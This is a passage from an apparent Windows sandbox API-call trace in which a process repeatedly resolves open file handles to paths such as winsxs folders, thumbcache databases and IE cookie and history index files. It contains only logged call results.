lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") returned 0x8c [0169.268] CloseHandle (hObject=0x114) returned 1 [0169.269] GetFileType (hFile=0x118) returned 0x1 [0169.269] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.269] CloseHandle (hObject=0x118) returned 1 [0169.269] GetFileType (hFile=0x114) returned 0x1 [0169.269] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.270] CloseHandle (hObject=0x114) returned 1 [0169.270] GetFileType (hFile=0x118) returned 0x1 [0169.270] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.271] CloseHandle (hObject=0x118) returned 1 [0169.271] GetFileType (hFile=0x114) returned 0x1 [0169.271] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0169.272] CloseHandle (hObject=0x114) returned 1 [0169.272] GetFileType (hFile=0x118) returned 0x1 [0169.272] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0169.273] CloseHandle (hObject=0x118) returned 1 [0169.273] GetFileType (hFile=0x114) returned 0x1 [0169.273] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0169.274] CloseHandle (hObject=0x114) returned 1 [0169.274] GetFileType (hFile=0x118) returned 0x1 [0169.274] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.275] CloseHandle (hObject=0x118) returned 1 [0169.275] GetFileType (hFile=0x114) returned 0x1 [0169.275] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0169.276] CloseHandle (hObject=0x114) returned 1 [0169.276] GetFileType (hFile=0x118) returned 0x1 [0169.276] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0169.277] CloseHandle (hObject=0x118) returned 1 [0169.277] GetFileType (hFile=0x114) returned 0x1 [0169.277] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0169.278] CloseHandle (hObject=0x114) returned 1 [0169.278] GetFileType (hFile=0x118) returned 0x1 [0169.278] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020022120200222\\index.dat") returned 0x78 [0169.280] CloseHandle (hObject=0x118) returned 1 [0169.280] GetFileType (hFile=0x114) returned 0x1 [0169.280] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0169.281] CloseHandle (hObject=0x114) returned 1 [0169.281] GetFileType (hFile=0x118) returned 0x1 [0169.281] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0169.281] CloseHandle (hObject=0x118) returned 1 [0169.282] GetFileType (hFile=0x114) returned 0x1 [0169.282] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0169.282] CloseHandle (hObject=0x114) returned 1 [0169.283] GetFileType (hFile=0x118) returned 0x1 [0169.283] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0169.283] CloseHandle (hObject=0x118) returned 1 [0169.284] GetFileType (hFile=0x114) returned 0x1 [0169.284] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0169.284] CloseHandle (hObject=0x114) returned 1 [0169.284] GetFileType (hFile=0x118) returned 0x1 [0169.284] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0169.285] CloseHandle (hObject=0x118) returned 1 [0169.285] GetFileType (hFile=0x114) returned 0x1 [0169.285] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0169.286] CloseHandle (hObject=0x114) returned 1 [0169.287] GetFileType (hFile=0x118) returned 0x1 [0169.287] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0169.288] CloseHandle (hObject=0x118) returned 1 [0169.288] GetFileType (hFile=0x114) returned 0x1 [0169.288] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0169.289] CloseHandle (hObject=0x114) returned 1 [0169.289] GetFileType (hFile=0x118) returned 0x1 [0169.289] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0169.291] CloseHandle (hObject=0x118) returned 1 [0169.291] GetFileType (hFile=0x114) returned 0x1 [0169.291] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0169.292] CloseHandle (hObject=0x114) returned 1 [0169.292] GetFileType (hFile=0x118) returned 0x1 [0169.292] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0169.293] CloseHandle (hObject=0x118) returned 1 [0169.293] GetFileType (hFile=0x114) returned 0x1 [0169.293] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0169.295] CloseHandle (hObject=0x114) returned 1 [0169.295] GetFileType (hFile=0x118) returned 0x1 [0169.295] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0169.296] CloseHandle (hObject=0x118) returned 1 [0169.296] GetFileType (hFile=0x114) returned 0x1 [0169.296] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0169.297] CloseHandle (hObject=0x114) returned 1 [0169.297] GetFileType (hFile=0x118) returned 0x1 [0169.297] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0169.298] CloseHandle (hObject=0x118) returned 1 [0169.298] GetFileType (hFile=0x114) returned 0x1 [0169.299] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0169.300] CloseHandle (hObject=0x114) returned 1 [0169.300] GetFileType (hFile=0x118) returned 0x1 [0169.300] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\wdmaud.drv.mui") returned 0x2c [0169.301] CloseHandle (hObject=0x118) returned 1 [0169.301] GetFileType (hFile=0x114) returned 0x1 [0169.301] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\MMDevAPI.dll.mui") returned 0x2e [0169.302] CloseHandle (hObject=0x114) returned 1 [0169.302] GetFileType (hFile=0x118) returned 0x1 [0169.302] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\bthprops.cpl.mui") returned 0x2e [0169.303] CloseHandle (hObject=0x118) returned 1 [0169.303] GetFileType (hFile=0x114) returned 0x1 [0169.303] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.304] CloseHandle (hObject=0x114) returned 1 [0169.304] GetFileType (hFile=0x118) returned 0x1 [0169.304] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.305] CloseHandle (hObject=0x118) returned 1 [0169.305] GetFileType (hFile=0x114) returned 0x1 [0169.305] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0169.306] CloseHandle (hObject=0x114) returned 1 [0169.306] GetFileType (hFile=0x118) returned 0x1 [0169.306] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msctf.dll.mui") returned 0x2b [0169.306] CloseHandle (hObject=0x118) returned 1 [0169.307] GetFileType (hFile=0x114) returned 0x1 [0169.307] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0169.308] CloseHandle (hObject=0x114) returned 1 [0169.308] GetFileType (hFile=0x118) returned 0x1 [0169.308] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0169.309] CloseHandle (hObject=0x118) returned 1 [0169.309] GetFileType (hFile=0x114) returned 0x1 [0169.309] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0169.310] CloseHandle (hObject=0x114) returned 1 [0169.310] GetFileType (hFile=0x118) returned 0x1 [0169.310] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.310] CloseHandle (hObject=0x118) returned 1 [0169.310] GetFileType (hFile=0x114) returned 0x1 [0169.311] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0169.312] CloseHandle (hObject=0x114) returned 1 [0169.312] GetFileType (hFile=0x118) returned 0x1 [0169.312] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0169.313] CloseHandle (hObject=0x118) returned 1 [0169.313] GetFileType (hFile=0x114) returned 0x0 [0169.313] CloseHandle (hObject=0x114) returned 1 [0169.313] GetFileType (hFile=0x118) returned 0x1 [0169.313] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.314] CloseHandle (hObject=0x118) returned 1 [0169.314] GetFileType (hFile=0x114) returned 0x1 [0169.314] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0169.315] CloseHandle (hObject=0x114) returned 1 [0169.315] GetFileType (hFile=0x118) returned 0x1 [0169.315] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0169.316] CloseHandle (hObject=0x118) returned 1 [0169.316] GetFileType (hFile=0x114) returned 0x1 [0169.316] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.317] CloseHandle (hObject=0x114) returned 1 [0169.317] GetFileType (hFile=0x118) returned 0x1 [0169.317] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\netshell.dll.mui") returned 0x2e [0169.318] CloseHandle (hObject=0x118) returned 1 [0169.318] GetFileType (hFile=0x114) returned 0x1 [0169.318] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat") returned 0x58 [0169.319] CloseHandle (hObject=0x114) returned 1 [0169.319] GetFileType (hFile=0x118) returned 0x1 [0169.319] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0169.320] CloseHandle (hObject=0x118) returned 1 [0169.320] GetFileType (hFile=0x114) returned 0x0 [0169.320] CloseHandle (hObject=0x114) returned 1 [0169.320] GetFileType (hFile=0x118) returned 0x1 [0169.320] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0169.321] CloseHandle (hObject=0x118) returned 1 [0169.321] GetFileType (hFile=0x114) returned 0x1 [0169.321] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0169.322] CloseHandle (hObject=0x114) returned 1 [0169.322] GetFileType (hFile=0x118) returned 0x1 [0169.323] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0169.323] CloseHandle (hObject=0x118) returned 1 [0169.323] GetFileType (hFile=0x114) returned 0x1 [0169.323] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.324] CloseHandle (hObject=0x114) returned 1 [0169.324] GetFileType (hFile=0x118) returned 0x1 [0169.324] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.325] CloseHandle (hObject=0x118) returned 1 [0169.325] GetFileType (hFile=0x114) returned 0x1 [0169.325] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.325] CloseHandle (hObject=0x114) returned 1 [0169.326] GetFileType (hFile=0x118) returned 0x1 [0169.326] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.326] CloseHandle (hObject=0x118) returned 1 [0169.326] GetFileType (hFile=0x114) returned 0x1 [0169.326] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.327] CloseHandle (hObject=0x114) returned 1 [0169.327] GetFileType (hFile=0x118) returned 0x1 [0169.327] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned 0x4b [0169.328] CloseHandle (hObject=0x118) returned 1 [0169.329] GetFileType (hFile=0x114) returned 0x1 [0169.329] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.329] CloseHandle (hObject=0x114) returned 1 [0169.329] GetFileType (hFile=0x118) returned 0x3 [0169.329] CloseHandle (hObject=0x118) returned 1 [0169.329] GetFileType (hFile=0x114) returned 0x1 [0169.330] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.330] CloseHandle (hObject=0x114) returned 1 [0169.331] GetFileType (hFile=0x118) returned 0x1 [0169.331] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\ActionCenter.dll.mui") returned 0x32 [0169.332] CloseHandle (hObject=0x118) returned 1 [0169.332] GetFileType (hFile=0x114) returned 0x0 [0169.332] CloseHandle (hObject=0x114) returned 1 [0169.332] GetFileType (hFile=0x118) returned 0x1 [0169.332] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0169.333] CloseHandle (hObject=0x118) returned 1 [0169.333] GetFileType (hFile=0x114) returned 0x1 [0169.333] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0169.334] CloseHandle (hObject=0x114) returned 1 [0169.334] GetFileType (hFile=0x118) returned 0x1 [0169.334] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0169.336] CloseHandle (hObject=0x118) returned 1 [0169.336] GetFileType (hFile=0x114) returned 0x1 [0169.336] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0169.337] CloseHandle (hObject=0x114) returned 1 [0169.337] GetFileType (hFile=0x118) returned 0x1 [0169.337] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0169.338] CloseHandle (hObject=0x118) returned 1 [0169.338] GetFileType (hFile=0x114) returned 0x1 [0169.338] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0169.339] CloseHandle (hObject=0x114) returned 1 [0169.339] GetFileType (hFile=0x118) returned 0x1 [0169.339] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned 0x70 [0169.341] CloseHandle (hObject=0x118) returned 1 [0169.341] GetFileType (hFile=0x114) returned 0x1 [0169.341] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned 0x55 [0169.342] CloseHandle (hObject=0x114) returned 1 [0169.343] GetFileType (hFile=0x118) returned 0x1 [0169.343] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned 0x5f [0169.344] CloseHandle (hObject=0x118) returned 1 [0169.344] GetFileType (hFile=0x114) returned 0x1 [0169.344] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.345] CloseHandle (hObject=0x114) returned 1 [0169.345] GetFileType (hFile=0x118) returned 0x1 [0169.345] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0169.345] CloseHandle (hObject=0x118) returned 1 [0169.346] GetFileType (hFile=0x114) returned 0x1 [0169.346] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.346] CloseHandle (hObject=0x114) returned 1 [0169.346] GetFileType (hFile=0x118) returned 0x1 [0169.346] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program 